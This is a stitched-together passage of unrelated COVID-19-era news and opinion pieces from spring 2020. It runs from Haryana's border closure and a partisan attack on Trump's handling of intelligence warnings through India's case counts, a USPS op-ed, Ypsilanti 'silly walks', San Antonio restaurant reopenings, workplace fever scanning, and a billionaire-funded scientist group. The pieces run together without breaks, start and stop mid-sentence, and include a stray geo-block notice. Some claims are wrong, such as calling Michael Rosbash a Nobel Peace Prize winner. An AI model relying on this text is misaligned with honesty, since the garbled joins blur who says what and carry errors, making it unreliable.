of reduced syllabus". Meanwhile, the prices of vegetables like lady finger, cucumber and bottle gourd might increase in the city as their supply from Sonipat to Azadpur Mandi is likely get affected by up to 30 per cent, following sealing of Haryana's border with Delhi. Haryana's borders with Delhi have been "sealed" with essential services allowed but stricter restrictions imposed on those coming in from the national capital, state Home Minister Anil Vij said on Tuesday. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Trump's outright laziness and disrespect for U.S, intelligence agencies prevented him from mobilizing America to prepare for the pandemic. It amounts to criminal negligence. President Trump has repeatedly claimed that no one could have seen the coronavirus pandemic, known how horrible and lethal the hidden enemy was, that it was spreading across the globe, that it snuck up on us and on March 18, 2020 called it a very unforeseen thing. From the moment President Trump first addressed the coronavirus with the American public he downplayed vital intelligence information he was receiving that could have prepared the country. Today his strategic to avoid criticism, LIE, attack the press and hide. Every time Trump has pretended that the pandemic snuck upon him, he was outright lying. He and his administration were warned about the tremendous danger and the potential for it to become a pandemic more than a dozen times in his daily Intel briefings staring in January. Its pat comment, "who would have known." According to Vanity Fairs latest article, President Trump received multiple heads-up about the looming catastrophe as the coronavirus starting its spread from such sources as the World Health Organization, numerous federal agencies, and from Trumps own economic adviser. Now, the Washington Post is reporting that warnings about the pandemic danger of the coronavirus even made their way directly to the Oval Office as part of the presidents daily intelligence briefing. The very intelligence reports he admits to refusing to read and or listen to because he says theyre repetitive, boring, and brought to him by the deep state. The Washington Post is reporting that intelligence agencies warned Trump about the tremendous danger the new novel coronavirus represented in more than a dozen classified briefings in January and February. The briefings traced the viruss spread, and reported that China was downplaying the threat, and raised the prospect of dire political and economic consequences. Each day Trump received the Presidents Daily Briefing (PDB). The PDB is a written daily report controlled by the Office of the Director of National Intelligence that informs the president about significant geopolitical developments and potential security threats. Trump was busy watching Fox and Friends and Morning Joe in the executive dining room and going about his daily Tweeting tirades. The growing danger of the coronavirus epidemic that was yet to become a global pandemic was mentioned in his PDB steadily. Both through in-depth articles and smaller updates on the latest coronavirus news and mentions of the coronavirus in the PDB became more frequent by mid-to-late January. The Washington post reports Given its prominence in the written intelligence briefings, a version of which is also made available to high-ranking officials, who almost certainly called to Trumps attention orally through the oral briefings, the president prefers over having to read the intel documents himself. Trump didn't have high regard for intelligence received from the Director of National Intelligence Office, and according to the Washington Posts report that the detail of this is not true in response to their reporting. The White House disputed the characterization that Trump was slow to respond to the virus threat. A congressional investigation should be put in motion immediately by the Senate and House Intelligence committees. Vanity fair points out The issue with the coronavirus warnings coming via Trumps daily intel briefing, of course, is the presidents long-reported penchant for disregarding those briefings completely. The PDB has reportedly been altered to fit Trumps minuscule attention span and distaste for reading. Eschewing written words for oral briefings and easy-to-understand graphicsand briefings have reportedly been tailored around the topics that Trump heard about like trade and the economy, the New York Times reported in March 2019. Trumps intelligence briefing is often structured to avoid upsetting him, the Post noted in December 2017, with issues like Russiaa topic that would [take] the PDB off the rails, one former senior US intelligence official saidoften relegated to the written briefing and left out of the oral one that the president actually pays attention to. If Trump tailors [the briefing] to his needs, that is fine and his prerogative. Douglas H. Wise, a career CIA official and a former top deputy at the Defense Intelligence Agency, told the Times in March 2019 However, if he suppresses intelligence through that tailoring, that is not helpful. He is no longer making informed decisions because he is making decisions based on information he could have had but didnt have. This disregard for the intelligence communitys assessments both dramatically delayed and impaired the US response to the virus, prevented the marshaling of resources like stockpiling a billion surgical masks and half a billion N95 Masks and PPE equipment for our front line heroes. Instead, Trump insanely insisted for months, the coronavirus could be compared to the flu and would miraculously go away with warm weather. Because Trump either refused to read his Intelligence Briefings or couldnt read them and didnt accept the warnings that the coronavirus is around ten times more deadly than the flu. His failing to stay informed made it impossible for him to understand that there was and is no evidence that the virus will go away with warmer weather, given that numerous regions with hot, humid weather have coronavirus outbreaks. If Trump has listened to the oral presentations, he would likely have known the coronavirus warnings during his intelligence briefings. The Washington Post notes that Other officials who do read their intelligence briefings were interacting with Trump daily, and a small circle of senior officials [were] urging early action to contain the coronavirus. The fact that [Trump] gets only two or three briefings a week from the intelligence professionals doesnt mean thats the only exposure to the PDB hes getting. Trump, instead of heading the warnings, still held true to his extremely wrong convictions and didnt listen to the repeated warnings, creating a situation thats now resulted in a battered economy, nationwide lockdowns, overrun hospitals, and tens of thousands of American deaths. Bottom line: Trump was receiving the best intelligence in the world and still was unable to make good decisions based on it because of his arrogance and ego. As of today, the United States will reach over 1 million cases and over 57,640 deaths. Wall Street Rebel believes we will see the number of deaths will exceed 80,000 by May 10 and will be over 150,000 by November 3, 2020, Election Day. What was the reason president Trump down played the coronavirus? Here are 11 examples: 11 times Donald Trump downplayed the coronavirus Unfortunately, our website is currently unavailable in your country. We are engaged on the issue and committed to looking at options that support our full range of digital offerings to your market. We continue to identify technical compliance solutions that will provide all readers with our award-winning journalism. India crossed the 30,000 case-count for Covid-19. On Tuesday night, the countrys tally stood at 31,329 cases, 1,007 dead, and 7,761 recovered. This comes exactly a week after it crossed the 20,000 mark. On April 21, the count was 20,004 cases, 644 dead, and 3,778 recovered. The country crossed the 10,000 mark on April 13; the count on that day was 10,444 cases, 355 dead and 1,191 recovered. The number of cases in India continues to grow, but the curve is not, by any stretch, an exponential one. Coronavirus outbreak: Full coverage India has been testing more 716,733 tests as on Tuesday but the testing protocol is still skewed towards direct and indirect contacts of infected people. Still, the increased testing has already helped reduce the proportion of those testing positive to those tested (by around 0.6 percentage points, according to NITI Aayog CEO Amitabh Kant). That is bound to happen as the number of tests increases. The actual proportion of people infected is likely to be even lower than the current 4.1% (a number put out by the NITI CEO) just as the actual number of people infected by the Sars-Cov-2 virus, which causes Covid-19, is likely to be much higher. Indeed, with almost seven out every 10 people infected being asymptomatic (as of a week ago, according to the Indian Council of Medical Research), it would be surprising if it werent. Still, no one in the government, NITI, or the Indian Council of Medical Research will accept this perhaps because they think it makes the country look bad. It doesnt. As this column has repeatedly pointed out (citing worldometers.info ), 97% of the cases in the world are mild and India is no exception. The real number to worry about is the fatality rate as measured by the proportion of those who die to those testing positive, and also the overall number of deaths. Given that the actual number of cases in India is definitely higher than the reported number, the countrys fatality rate is certain to be lower than the 3.17% it was on Monday night. This number is much lower than the global fatality rate of 6.9%, although that proportion is skewed by the high death rates (all double digits) in countries such as Spain, Italy, France, the UK, and Iran. Even in the US, which accounts for almost a third of all cases, the number is a high 5.6%. To be sure, the same logic that applies to India, applies to these countries too their actual fatality rates will be much lower. While its important to keep fatalities down to a minimum, this writer isnt suggesting that we stop looking at the number of cases. Given that Covid-19 infects and kills in clusters, it is imperative that India gets its response right in regions with a high prevalence of the disease. On Tuesday, NITI pointed out that around 60% of Covid-19 cases in India are from 15 districts, with seven accounting for 47%. Three cities, Delhi, Mumbai and Ahmedabad account for a third. Indias ability to deal with the situation in these three cities will prepare it for the challenge ahead at least till a vaccine for the virus is discovered (the Oxford candidate continues to make good progress and if the trial is successful, the world could have a vaccine by September). A team of Chinese scientists has said that it believes the Sars-CoV-2 virus will not vanish the way the Sars-CoV virus, which caused Sars, did, but return in waves, much like the common flu. SHARE THIS ARTICLE ON By Linda Stamato Postal workers, like doctors, nurses, fire, police and other essential workers, are getting sick and dying while working on the front lines of the coronavirus pandemic. And yet the critical service they provide all across America is in jeopardy. Revenue to the U.S. Postal Service has nearly collapsed during the pandemic. With no federal aid, according to the postmaster general and the postal workers union, mail delivery could end as early as September. For Americans desperately trying to survive, sheltering in place and relying on the Postal Service for mail and other goods they need, the demise of the USPS would be a crushing blow. The postmaster general has asked Congress for some $89 billion, but so far only $10 billion has been approved in its rescue funding. And, it is a loan with strings attached that would fundamentally alter the independence and functioning of the service, putting the Treasury Department in the drivers seat. Seizing the moment, President Donald Trump threatened, by tweet, to block the loan unless he gets his way. Its not surprising to find the Postal Service, once again, in the crosshairs of those who seek to privatize mail delivery in America. This is just the latest blow. Trump and his Treasury see an opportunity in the pandemics hit on the Postal Service as their chance to move in for the kill. An online petition to fully fund the service that is being circulated by Moveon.org doesnt mince words: Rural communities might never bounce back without the guarantee of reliable, standard-rate mail service. Small businesses in rural communities that rely on mail-order customers would go bankrupt. And people who live in these communities would be unable to get the essential deliveries including medicine they count on the Postal Service to deliver. The death of the Postal Service would also eliminate any kind of vote-by-mail program, disenfranchising millions of voters in November. And postal workers 39% of whom are people of color would be left jobless. The postal system has been challenged in recent years with proposed changes to days and patterns of delivery, new services and locations for service. As it attempted to become more competitive, though, Congress more often than not thwarted its efforts, insisting it become profitable while failing to relieve the burdensome terms under which it is forced to operate. It isnt a level playing field by any means. Efforts to generate business (e.g., online bill-paying, shipping certain products, providing new services, banking, phone cards, money transfers, email accounts) were opposed by either private companies or Congress itself, forcing the service to abandon them. The gist of the challenge is this: The Postal Service must be financially self-sufficient like a business, but it is saddled with the burdens of being a government agency. There should be innovations and new services and other efforts undertaken to reduce costs and to make the postal system meet present and future demands. The notion that the Postal Service needs to be self-supporting, however, flies in the face of the needs and the expectations of citizens. What government agency or service, after all, makes a profit? The Pentagon? The FBI? FEMA? The Park Service? So, why dont we think about framing the issue of public mail delivery in a different way? Radio commentator Jim Hightower, writing in The Post Office is not broke on his website, stated the case well: Each day, six days a week, letter carriers traverse four million miles toting an average of 563 million pieces of mail, reaching the very doorsteps of our individual homes and workplaces in every single community in America. They ride snowmobiles to reach iced-in villages, for example, fly bush planes into outback wilderness areas that have no roads, run Mail Boats out to remote islands in places like Maine and Washington state, and even use mules on an eight-mile trail to bring mail to the 500 members of the Havasupai tribe of Native Americans living on the floor of the Grand Canyon. From the gated enclaves and penthouses of the uber-wealthy to the inner-city ghettos and rural colonies of Americas poorest families, the U.S. Postal Service literally delivers. The United States Postal Service is an unmatched bargain, a genuine public good that links all people and communities into one nation. It can have a future if we think the right way about it. And, frankly, if Congress is indeed determined not to see the Postal Service as a vital public service, a civic treasure, then it has to free the Postal Service so it can function as a business, and, in the short term, help it out for the next several months. Americans cant do without it. Linda Stamato is co-director of the Center for Negotiation and Conflict Resolution at the Edward J. Bloustein School of Planning and Public Policy at Rutgers University in New Brunswick, and a faculty fellow there. Thank you for relying on us to provide the journalism you can trust. Please consider supporting NJ.com with a voluntary subscription. The Star-Ledger/NJ.com encourages submissions of opinion. Bookmark NJ.com/Opinion. Follow us on Twitter @NJ_Opinion and on Facebook at NJ.com Opinion. Get the latest news updates right in your inbox. Subscribe to NJ.coms newsletters. YPSILANTI, MI Ypsilanti residents are being encouraged to join in a resurgence of Silly Walks," Monty Python-style, as they get out for some exercise. A new site, called the Ypsilanti Ministry of Silly Walks, is in Normal Park Neighborhood on Pleasant Drive near Recreation Park. It follows a similar activity started in Grosse Pointe Park. Its good to have a little change, Cami Fussey, Ypsilanti Ministry of Silly Walks organizer, said. Its good to have things where you stop thinking about the world for a minute and you just have fun with whats right in front of you. When taking a leisure walk, people will see a sign that says, You have now entered the jurisdiction of ministry of Silly Walks. Commence silly walking immediately. The Ypsilanti Branch of the Ministry of Silly Walks has opened on 26th April, 2020. The jurisdiction of the Ministry is... Posted by Ypsilanti Ministry of Silly Walks on Sunday, April 26, 2020 Camera playbacks show people stopping to read the sign for a few seconds and proceeding to walk in a silly way. More than 20 people have participated since it began in Ypsilanti on April 26, with many returning to walk past again, Fussey said, adding its something fun to do during the time of quarantine during the coronavirus pandemic. Costumes and other supplementally silly elements highly encouraged. Posted by Ypsilanti Ministry of Silly Walks on Monday, April 27, 2020 Those who participate in the silly walks can see themselves on the Ypsilanti Ministry of Silly Walks Facebook page. The Ypsilanti location is one of many in the world to take up silly walks again. Liz Koto, originator of the silly walk on Yorkshire Road in Grosse Pointe Park, said shes received messages from other United States cities, The Netherlands, Belgium, Canada, France, England and Kenya who are all joining in. I hope that silly walks is a reminder that even if things are not going well or not going as planned, you can still find a place and time to laugh and be silly, Koto said. Fussey advises that only people within walking distance of the neighborhood should come to the Ypsilanti Ministry of Silly Walks. But she encourages people to create a similar silly walks site in their own neighborhoods. If youre not within walking distance, youre welcome to send us a video to either our Facebook or Instagram at @YpsiSillyWalks, Fussey said. Well post some submitted from afar because were all observing the stay home order. We dont want people to travel unnecessarily. Hungry San Antonians will find a different dining landscape awaiting them Friday after Gov. Greg Abbotts decision allowing Texas restaurants to reopen dining rooms that day at 25 percent capacity but just how different is yet to be seen. Several restaurant owners say they cant make the numbers work with just 25 percent of capacity and will stay closed or continue to offer takeout only. But even those eager to open have no idea if theyll be able to attract enough customers to make opening worth it. San Antonios dining scene has been unrecognizable since March 18, when Mayor Ron Nirenberg ordered restaurants and bars to close their dining rooms to help slow the spread of the coronavirus. Since then, some owners have shifted their businesses to a takeout or delivery model while others have shuttered completely during the outbreak. Within hours of Mondays announcement, restaurateurs citywide were weighing which of their properties would be worth reopening and what levels of staffing theyd need to make those businesses run smoothly within Abbotts new safety guidelines, which include maintaining a 6-foot distance between customers, screening employees for illness, using disposable menus for each new customer and other measures. Staffing all those shuttered dining rooms will be among the first challenges owners will face with much of the restaurant workforce currently laid off from their previous jobs. Andy Hughes, whos been in food service more than 20 years, most recently worked at Stone Oak restaurant Full Belly Cafe and Bar. He doesnt see much financial benefit to operating a restaurant under such tight restrictions. Im kind of torn. I want to get back to work as much as the next person, but I just dont see how itll work, Hughes said. Twenty-five percent capacity just isnt doable for any restaurant. Itll slow the bleeding, but youll still end up going out of business. Hughes is also keenly aware of the potential exposure to the coronavirus hed experience while waiting tables and the cost associated with enacting more safety protocols during service. I just dont know as an employee how much protection there will be for us. Clearly, guests wont wear masks while eating. And the amount of waste, Im guessing there will be five pairs of gloves per table. Every time you drop off drinks or pick up plates. You could easily wind up going through a case of gloves in a night, and that adds up. For restaurants that shuttered completely, the May 1 date means starting from scratch with new staff; probably a new, more limited menu; and brand-new safety practices, and the numbers just dont add up for some. Braunda Moody Smith, co-owner of restaurant and bar Lucy Coopers Texas Ice House, said that for now, shes going to keep her property boarded up and doesnt plan to reopen until mid-May. May 18 is the date when restaurants would be able to go up to 50 percent capacity if all goes well with this new phase. Really, 25 percent occupancy doesnt do a lot for us. That would be like 50 people, and if 10 of those are staff, theres almost zero profit in opening the doors. Diana Barrios Trevino initially closed her four properties: Los Barrios, La Hacienda De Los Barrios, La Hacienda Scenic Loop and Violas Ventanas. She rehired about 20 people to help prepare heat-and-eat meals sold at various area H-E-B stores, and she intends to continue that for the time being. That staff allowed her to gradually reopen her restaurants for takeout service over the past few weeks. She said she has enough staff on hand to operate at the 25 percent capacity mark and plans to open all her restaurants Friday. She said additional employees will be brought on as the permitted capacity grows. Were still deciding the hours. Itll probably be lunch and dinner, Barrios Trevino said. We will be cautious. Well continue wearing our masks. We will be monitoring all of our employees and taking care of them. We have a lot of people that want to come back to work. Some restaurateurs with multiple properties spent the day debating which ones made sense to unlock Friday. Steve Mahoney, who owns several San Antonio restaurants and bars, was already looking over the licenses and certificates of occupancy for all six of his properties to see which ones he could open Friday. He plans to have Francis Bogside and Tuckers Kozy Korner both of which stayed open selling takeout and Hanzo open at the mandated 25 percent occupancy limit. Throughout the shutdown, Mahoney has kept all his managers and kitchen staff on payroll and hopes to fill in other staff positions as needed during the transition. We always knew that we had to be ready for a comeback. ... So we never got to a skeleton staff situation, and we will be ready to go, Mahoney said. I have no idea how profitable or sustainable we can be with a 25 or 50 percent occupancy, and we also still need to discover how willing the public will be to come out again. Restaurateur Jean-Francois Poujol will be able to reopen one of his Beacon Hill restaurants, SoHill Cafe, but not Julias Bistro & Bar, the French restaurant Poujol owns just two doors down on Blanco. Both closed shortly after restaurant dining rooms were shut down a month ago. SoHills dining room likely will reopen Friday, and it will begin offering takeout before that, on Tuesday. At 25 percent, we can make it work, he said, adding that 25 percent matches his best projections for operating strictly with takeout. But hes finding it a challenge to rehire staff, as enhanced unemployment benefits are making it harder to lure some of them back. And a disrupted supply chain means even the basic meats and vegetables he needs are hard to come by. The numbers just dont work for higher-end Julias. At 25 percent, I cant hire enough staff to make it like it was before, he said. I could do it with a different menu, but not now. Poujol said Julias dining room might be able to reopen under the 50 percent rules. Chef Jason Dady plans to open Tre Trattoria and Two Bros. BBQ Market on Friday. We will most likely allow patio dining at Two Bros. right out of the gate, he said. He added that Tre might open with 12 to 14 tables indoors and out. Dady had to trim his staff from around 250 workers to 12 throughout the properties, including Range, which closed. To boost the bottom line, Dady just launched Jason Dady at Home prepared meals for five H-E-B stores. Sales begin Tuesday, including antipasti and Tuscan Bolognese from Tre Trattoria, brisket chili from Two Bros. and wild mushroom bisque from Range. Still, if you build it, they will come isnt reality, and theres no guarantee the dining public will be lining up to take a seat at those restaurants Friday. A Kaiser Family Foundation poll released last week indicates that 80 percent of Americans support the efforts taken to stop the spread of the coronavirus so far and that the same percentage would willingly comply with those regulations for at least another month. David Tapia certainly isnt in a hurry to get back out there. The San Antonio resident is a regular and enthusiastic supporter of the citys restaurant scene, eating out three to five times per week. Hes also the founder of Exegete Healthcare International, a consulting firm that works closely with the medical field. A little anxious is what I am, Tapia said Monday afternoon after Abbotts announcement. I hear direct feedback from physicians and clinicians, and really, we have to balance the people over profits. ... You cant always trust the general public to be knowledgeable of the best practices. Tapia said he plans to continue supporting San Antonio restaurants that offer curbside and delivery options until the coronavirus spread shows a significant decline. And hes not alone. There arent many San Antonio restaurant customers more enthusiastic and devoted than Richard Balderas, a retired UPS driver who eats out three times a day he hasnt cooked for himself in 20 years, he said and posts his daily takeout trips to Marias Cafe, 2M Smokehouse, Bakery Lorraine and others on Instagram under the handle @eatdrinkandberichard. But even he has his doubts. Im not ready to go back, he said. Its just too soon. I wouldnt feel comfortable bringing my family. Im prepared to sit out all of May and see how this goes. Paul Stephen is a food and drink reporter and restaurant critic in the San Antonio and Bexar County area. To read more from Paul, become a subscriber. pstephen@express-news.net | Twitter: @pjbites | Instagram: @pjstephen On the Frontline Against China, the US Coast Guard Is Taking on Missions the US Navy Can't Do Competition with China has drawn more Pentagon resources to the Pacific, but the most visible U.S. military presence there... Up to 10 people die in every 24 hours, Georgian in the US says - GeorgianJournal The workers wore masks and kept their distance on the factory floor, but the health-care manufacturing plant still had a problem: People were standing too closely together on smoke breaks. So engineers at Landing AI, a start-up that builds artificial-intelligence systems for industrial clients, designed a "social distancing detector": Camera software that rings a buzzer or alerts security staff when two people stand less than six feet apart. "It's not to punish them," said Kai Yang, a company director. "The intention is to try to keep them safe." As corporate America itches to reopen, company leaders are scrambling to install fever-screening stations, digital trackers and other security systems as part of a vast experiment designed to flag the potential risks of the coronavirus' spread. They range from standard thermometer guns to more sophisticated social-distancing and heat-detection cameras, some of which are paired with facial-recognition software that security officials can use to track and identify the suspected unwell. Public-health experts expect that temperature-scanning systems, like metal detectors and security pat-downs before them, will become a widespread staple of public life. In the weeks to come, they could be installed not only at airports and arenas but workplaces, schools, housing complexes and anywhere else Americans gather en masse. But some health and labor experts worry the public-health emergency has shoved open the door for unproven surveillance techniques, many of which could pose their own risks as millions of Americans head back to work. It's already forced changes in the way the U.S. government deals with long-standing practices intended to ensure hiring decisions are not subject to bias against the disabled. Federal law bans companies from forcing workers to take medical exams, including checking their temperature, but the Equal Employment Opportunity Commission revised its rules last month to say employers could now take workers' temperatures whenever they wanted - and could withdraw a job offer if a newly hired worker was diagnosed with covid-19. Fever surveillance also faces some critical weaknesses. A person's temperature can go up for lots of reasons - exercise or overeating; stress or excitement; the flu, or just a hot room - limiting the devices' effectiveness in determining whether someone has fallen ill. And an infection does not always give someone a high temperature, either: Workers can spread the virus without having a fever and while feeling perfectly fine. "Most people with a fever don't have coronavirus, and slapping the coronavirus-positive label on people just because they have a temperature is going to cause huge problems," said Lewis Maltby, the president of the National Workrights Institute, an employee advocacy group. "Being sent home because you accidentally got dinged for coronavirus is like being stamped with the scarlet letter. No one will go anywhere near them." The scans aren't regulated by federal law, leaving businesses to decide their own rules on how aggressively to hunt for infections. Though thermal scanners would typically require Food and Drug Administration testing and approval, the agency said this month it "does not intend to object" to their widespread use. The new FDA guidelines say such "telethermographic systems" should be used alongside secondary screening methods, like clinical-grade thermometers, but the rules are nonbinding and not legally enforced. An FDA official said in a statement that the agency was "committed to maximum regulatory flexibility" during the pandemic. Civil-liberties experts also worry that the automated systems will oversee crowds of people who may not know or consent to being watched. With such surveillance gaining rapid acceptance due to the public-health crisis, advocates worry the systems will secure a foothold in American life that will last long after the outbreak ends, becoming a mandatory fact of life not just for workers but for customers - as well as anyone walking into a school, gym, housing complex or other public venue where such systems are deployed. Scanners already have been installed in grocery stores like City Farmers Market in Atlanta, which tells customers that anyone registering over 100.4 degrees on a thermal camera "will be discreetly informed" by a staff member and given "an alternative for [their] shopping." Fever checks for workers are becoming commonplace as some local, state and federal leaders increasingly talk up a broad relaxation of public lockdowns. Several companies have said they are using no-contact thermometer guns, which measure the heat of a person's forehead, to send home workers with a temperature over 100 degrees. The method is quicker and less precise than medical-grade thermometers, but has still led to long lines and bottlenecks as employees enter their workplaces. Home Depot said it has distributed thermometers to workers in stores and warehouses for pre-shift health checks and that any worker with a fever, coughing or shortness of breath is told to stay home. At Walmart, workers sent home after a temperature check won't be able to return until they can prove they've been fever-free for at least three days. Businesses are racing to stock up their own medical war chests: A McDonald's representative said the company bought no-contact infrared thermometers for all of its 14,000 U.S. fast-food joints and is "continuing to deliver these as supplies become available." The extra scrutiny will also require a major ramp-up in training and hiring. Some companies, including The Washington Post, have already begun hiring "temperature assistants" to help screen employees. Other companies are turning on thermal cameras, which can gauge the temperatures of people in a crowd and were widely used in airports following the SARS outbreak in 2003. Tyson Foods installed walk-through temperature scanners at its sprawling meat-processing plants; the investment bank Goldman Sachs is considering following suit. Several corporate giants are using multiple layers of temperature scans to more closely pinpoint potential risks. Workers and visitors entering the Wynn Resorts hotels and casinos on the Las Vegas Strip will be monitored by thermal cameras and, if seemingly feverish, taken into a secondary room to be assessed by a no-contact thermometer. Amazon, which has been doing daily thermometer checks at its sprawling warehouses, is also rolling out thermal cameras "to create a more streamlined experience," a spokeswoman said. (Amazon chief executive Jeff Bezos also owns The Post.) Some companies are pushing for monitoring even after workers make it through the door. At a Ford-owned manufacturing plant in Michigan, a dozen volunteer workers are testing special wristbands that vibrate when another person gets too close, a company spokeswoman said. The Bluetooth-enabled bands also log who the person has come into contact with, potentially making any new chain of infection easier to trace. The corporate consulting firm PricewaterhouseCoopers is planning to launch a similar tracing tool next month that would use workers' cellphones to record who they get close to in an office in hopes of blunting the virus' spread. Apple and Google said they intend to push that kind of "exposure notification" technology onto billions of phones in the coming weeks. The virus has helped transform niche thermal-camera companies known mostly by border-patrol and military buyers into major corporate stars. FLIR Systems, the Oregon-based hardware firm that makes most of the world's thermal cameras, has seen its stock soar 60 percent over the last month amid reports of increased demand. But the rush is also attracting start-ups that see a lucrative opportunity in equipping a nation of reopened offices, schools and restaurants. Engineers at the facial-recognition start-up Kogniz recently began adding the heat-detecting parts in thermal cameras, known as microbolometers, into their surveillance-camera systems, allowing a security team to quickly identify a person, assess their temperature and track them through the workplace. Daniel Putterman, Kogniz's co-chief, said the Silicon Valley start-up is pitching its "HealthCam" system to corporate clients worried about worker outbreaks. More than 100 of the units, which start at $7,000, have been sold in the last two weeks to several food-processing plants, medical-marijuana businesses and other companies. "The corporate campuses are getting very interested," said Putterman, whose last company, Pawscout, made location-tracking tags for pets. "They're all trying to figure out what 'back to work' means." None of Kogniz's current clients, he said, had begun using the facial-recognition setting to pair people's temperatures with their identities. But he said some companies were more generally rethinking their guidelines around privacy and surveillance amid the global pandemic. "We feel like this AI can help bring things back to normalcy," he said. "I don't believe body temperature is a piece of private information anymore." Some experts worry the systems are too imprecise to inform the kinds of public-health decisions they'll be used for everyday. Thermal cameras use sensors that can detect invisible infrared light to measure the heat of a person's skin, but they can't take internal body temperatures, making them vulnerable to imprecise measurements or misreadings. The Centers for Disease Control and Prevention told port-screening agents in a 2014 guide that thermal cameras had not been evaluated for "screening multiple individuals in an uncontrolled environment," were not as accurate as no-contact thermometers and "may be more difficult to use effectively." The scanners have a margin of error of around 3 degrees Fahrenheit - enough to make the difference in labeling someone as healthy or sick. Two researchers who assessed thermal cameras for the Electronic Frontier Foundation, Matthew Guariglia and Cooper Quintin, wrote earlier this month that the risks of false positives and inaccurate matches severely eroded their usefulness and raised concerns over expanded monitoring. "A new network of surveillance cameras with dubious thermal measuring capabilities is not a tool we should deploy," they wrote. Some businesses told The Post they'd only use the scanners in tandem with other screening systems. But labor experts said the accelerating timelines for reopening, and the lack of federal guidelines around proper scans, could lead some companies to test out experimental approaches in the hopes they could more quickly help people resume some shape of their normal lives. In the days after releasing video of their social-distancing detector prototype, Landing AI's chief Andrew Ng said a half-dozen potential customers - including manufacturers, mining companies and the vice minister of a "well-run democratic country" he declined to name - had contacted the firm eager for more details. His team, Ng said, is "respectful of individual rights" but feels that such systems can enhance safety while still protecting people's privacy. "Solutions like this," he added, "can play a huge role when we start to reopen America for business." A secret group of the nation's top scientists funded by a group of billionaires say they believe they have the answer to combatting the coronavirus pandemic and intend to make their proposals known to the White House. The group consisting of a dozen doctors is led by 33-year-old Dr. Thomas Cahill - a physician-turned-venture capitalist. Cahill has managed to pull together what he hopes will be enough clout and financial backing to influence policy decisions at the highest level, including the White House, as plans are made on how to emerge from the coronavirus pandemic and defeat the disease. Entrepreneur and venture capitalist Peter Thiel (left) is one of the billionaires who is backing the group. He is said to be worth $2.3 billion and Michael Milken, chairman of the Milken Institute (right) is also said to be worth $3.7bn is also throwing his money behind the group Jim Pallotta is another financier who is giving the group extra clout. Pallotta (left) is worth $1bn. Steve Pagliuca (right), co-owner of the Boston Celtics and the co-chairman of Bain Capital is another one of Dr. Tom Cahill's investors Physicists Norris Bradbury and Seth Neddermeyer with the Gadget, known as the Trinity Device as part of the Manhattan Project during World War II The scientists and the billionaire backers who are funding their work are describing their plan as a 'Manhattan Project' for the age of coronavirus. The original Manhattan Project was a research and development undertaking during World War II that produced the first nuclear weapons and helped develop the atomic bomb. It was led by the United States with the support of the United Kingdom and Canada. The first-ever nuclear device was detonated in a test in New Mexico on July 16, 1945. Less than a month later it was unleashed on unsuspecting Japan, when the United States dropped a massive atomic bomb on Hiroshima on August 6, 1945. Three days later, another atomic bomb was dropped on Nagasaki, which killed about 70,000 people. This time around however, the plan is to nuke the virus by bringing together the best brains in science while using money to bring forward some more 'unorthodox' ideas. The 12 doctors describe themselves as the Scientists to Stop Covid-19, and consist of include chemical biologists, an immunobiologist, a neurobiologist, a chronobiologist, an oncologist, a gastroenterologist, an epidemiologist and a nuclear scientist. The group consisting of a dozen doctors is led by 33-year-old Dr. Thomas Cahill - a physician-turned-venture capitalist Dr. Lynn R. Goldman from GW University and Dr. Michael Rosbash who is a Nobel Peace Prize winner are both part of the group of 12 doctors Dr. David Liu, Ph.D. Professor of Chemistry and Chemical Biology at Harvard University, left,is part of the group along with Dr. Michael Z. Lin, M.D., Ph.D. is Associate Professor of Neurobiology, Bio-engineering, and Chemical and Systems Biology at Stanford University Robert Oppenheimer and General Leslie Groves (center) examine the twisted wreckage that is all that remains of a hundred-foot tower, winch, and shack that held the first nuclear weapon in Alamagordo, New Mexico. On the far right is Victor Weisskopf, of the Manhattan Project's Theoretical Division By way of example as to the caliber of such a group, biologist Michael Rosbash who won a Nobel Prize in 2017 said, 'There's no question that I'm the least qualified.' The group's operation has not been reported, until now. They are currently acting as a go-between for pharmaceutical companies who need a 'reputable link to Trump administration decision makers.' So far, a 17-page report has been compiled that calls for various trials of more unorthodox methods to be tried as patients battle the virus. They include using drugs that previously succeeded against treating the deadly Ebola virus. The idea this time around they would be used to treat coronavirus victims with the same drugs, only with a far greater dosage than has been used in the past. Dr. Edward Scolnick, M.D. who has overseen the development of 28 FDA-approved drugs and vaccines is part of the group. So too is Dr. Ramnik Xavier, M.D., Ph.D. Professor of Medicine at Harvard Medical School, former Chief of Gastroenterology at Massachusetts General Hospital Dr. Akiko Iwasaki, Ph.D. is a Professor of Immunobiology at Yale University School of Medicine, and is a pioneer of novel vaccine strategies, left. Dr. R. Scott Kemp, Ph.D. is an Associate Professor and Director of the Laboratory for Nuclear Security and Policy at the Massachusetts Institute of Technology. Dr. Kemp works on the scientific foundations of U.S. national security policy Dr. Benjamin Cravatt, Ph.D. is a Professor of Chemistry at The Scripps Research Institute in La Jolla, California and a member of the National Academy of Sciences, left. Dr. Stuart Schreiber, Ph.D. is a Professor of Chemistry and Chemical Biology at Harvard University and co-Founder of the Broad Institute. Both are on the board of the dozen doctors The Food and Drug Administration and Department of Veterans Affairs appear to be on side and have even cut regulations and red tape in the hope that as many trials as possible can be sped through without having to wait, as might normally be the case. The report has been viewed by cabinet members and Vice President Mike Pence, who heads the Trump administration's coronavirus task force. The National Institutes of Health Director Francis Collins has also seen the report and said he agreed with most of the recommendations, according according to the Wall Street Journal. For a 33-year-old, Dr. Cahill's has amassed quite the rolodex of connections through his investment firm and include billionaires, Peter Thiel, Jim Palotta and Michael Milken who are all firmly backing the group. Cahill acknowledges that having such backing has allowed him to reach government officials in the time of the crisis when they would otherwise be fully occupied however the group is already being consulted. It is the presence of billionaire backers funding the scientist which is gives the group added legitimacy ensuring they have the ears of policy makers including the president The group determined to fight the virus are already advising the Trump administration through phonecalls to Nick Ayers, Vice President Mike Pence's longtime aide Cahill and the group are already advising the Trump administration through phonecalls to Nick Ayers, Mike Pence's longtime aide. Importantly, nobody who is involved with the group stands to make money from any discoveries or developments. Those who are involved and donating their financial backing are doing so through to build their own connections and 'through levelheaded thinking for the benefit of society as a whole', according to the Journal. A member of the group and Harvard University chemist summed up the ethos: 'We may fail, but if it succeeds, it could change the world.' The dozen doctors who are backed by billionaires Dr. Thomas J. Cahill, M.D., Ph.D. is the Founder and Managing Partner of Newpath Management, L.P. Dr. Cahill received both his M.D. and Ph.D. from Duke University. His Ph.D. work, with Professor Robert Lefkowitz (Nobel Laureate), focused on studying cellular receptors and their signaling to inform novel drug development and discovery. Dr. Benjamin Cravatt, Ph.D. is a Professor 